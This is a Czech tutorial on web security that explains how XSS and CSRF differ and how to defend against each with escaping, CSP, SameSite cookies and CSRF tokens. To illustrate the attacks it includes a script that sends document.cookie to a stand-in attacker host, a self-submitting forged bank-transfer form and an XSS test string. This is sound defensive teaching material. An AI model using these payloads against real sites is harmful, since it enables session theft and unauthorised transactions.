Programování

XSS a CSRF – rozdíl, příklady útoků a ochrana webu

Cross-site scripting a CSRF vysvětlené na příkladech. Escapování, Content Security Policy, SameSite cookies a CSRF tokeny – co nasadit a jak to ověřit.

12. 10. 2026 · 4 min čtení

XSS a CSRF se často pletou, protože obě mají v názvu „cross-site“. Útočí ale každá z jiné strany. XSS (Cross-Site Scripting) znamená, že útočník dostane svůj JavaScript do vaší stránky. CSRF (Cross-Site Request Forgery) znamená, že cizí stránka přiměje prohlížeč přihlášeného uživatele poslat požadavek na váš web. Podívejme se na obě a na to, jak se bránit.

XSS: cizí skript ve vaší stránce

Představte si komentáře na blogu, které se vypisují bez úprav:

<p><?= $comment['text'] ?></p>

Útočník napíše komentář:

<script>fetch('https://zly.example/?c=' + document.cookie)</script>

Každý návštěvník stránky pak spustí tento skript. Ten může číst data stránky, odesílat požadavky jménem uživatele nebo krást cookies, které nemají příznak HttpOnly.

Tři typy XSS

Typ Kde je škodlivý kód Příklad
Stored (uložené) V databázi Komentář, profil, název produktu
Reflected (odražené) V URL nebo formuláři /hledat?q=<script>…
DOM-based Zpracuje ho JavaScript na klientu el.innerHTML = location.hash

Obrana proti XSS

1. Escapujte výstup podle kontextu. V HTML převeďte <, >, &, " a ' na entity.

<p><?= htmlspecialchars($comment['text'], ENT_QUOTES, 'UTF-8') ?></p>

Moderní šablonovací systémy (Twig, Jinja2, Blade s {{ }}) escapují automaticky. Riziko vzniká, když autoescaping vypnete: {!! $x !!} v Blade, |safe v Jinja2, dangerouslySetInnerHTML v Reactu nebo v-html ve Vue.

2. Na klientu používejte textContent, ne innerHTML.

// Nebezpečné
el.innerHTML = userInput;
// Bezpečné
el.textContent = userInput;

3. Když musíte povolit HTML (např. editor článků), sanitizujte ho knihovnou typu DOMPurify:

import DOMPurify from 'dompurify';
el.innerHTML = DOMPurify.sanitize(userHtml);

4. Content Security Policy (CSP) jako druhá linie obrany. Zakáže inline skripty a skripty z neznámých domén:

add_header Content-Security-Policy "default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'" always;

Pozor, CSP rozbije inline <script> a onclick="" atributy. Začněte hlavičkou Content-Security-Policy-Report-Only, sledujte konzoli prohlížeče a teprve pak přepněte na vynucování.

5. Cookies se session označte HttpOnly, aby k nim JavaScript neměl přístup.

CSRF: požadavek, který uživatel neposlal

Uživatel je přihlášený do vaší aplikace. Navštíví cizí stránku, která obsahuje:

<form action="https://vase-banka.cz/prevod" method="POST" id="f">
  <input name="ucet" value="123456/0800">
  <input name="castka" value="5000">
</form>
<script>document.getElementById('f').submit()</script>

Prohlížeč k požadavku historicky automaticky přidal cookies vaší domény, takže server viděl platnou session a převod provedl.

Obrana proti CSRF

1. SameSite cookies. Atribut SameSite určuje, zda se cookie posílá u požadavků z cizích webů:

Set-Cookie: session=abc123; Secure; HttpOnly; SameSite=Lax
  • Strict – cookie se nepošle z cizího webu nikdy (ani při kliknutí na odkaz).
  • Lax – pošle se jen při navigaci metodou GET (kliknutí na odkaz), ne u POST z cizího formuláře.
  • None – posílá se vždy, vyžaduje Secure.

Moderní prohlížeče berou cookie bez atributu jako Lax, ale nespoléhejte na to a nastavte ho explicitně.

2. CSRF token. Server vygeneruje náhodný token, vloží ho do formuláře a při odeslání ho ověří. Cizí stránka token nezná.

<form method="POST" action="/profil">
  <input type="hidden" name="csrf_token" value="{{ csrf_token() }}">
  ...
</form>

Většina frameworků to má vestavěné: Django ({% csrf_token %}), Laravel (@csrf), Rails, Symfony. Ve Flasku použijte rozšíření Flask-WTF (CSRFProtect).

3. GET nesmí měnit stav. Mazání, převody a změny nastavení vždy přes POST/PUT/DELETE.

4. U API zkontrolujte hlavičku Origin a pro autentizaci používejte hlavičku Authorization: Bearer … místo cookies – tu cizí stránka automaticky nepřidá.

Jak spolu XSS a CSRF souvisí

Důležitá věc: XSS obchází ochranu proti CSRF. Když útočník spustí skript přímo na vaší doméně, přečte si CSRF token ze stránky a pošle platný požadavek. Proto je oprava XSS prioritou číslo jedna.

Rychlý kontrolní seznam

  • [ ] Šablony mají zapnutý autoescaping a nikde není zbytečné |safe / v-html.
  • [ ] Session cookie má HttpOnly, Secure, SameSite=Lax nebo Strict.
  • [ ] Všechny formuláře měnící data mají CSRF token.
  • [ ] Nasazená CSP (alespoň v režimu Report-Only).
  • [ ] Ověřeno ručně: do vstupů zkuste "><img src=x onerror=alert(1)> – nesmí se objevit dialog.

Hlavičky si rychle zkontrolujete příkazem curl -sI https://vas-web.cz | grep -iE 'content-security|set-cookie'.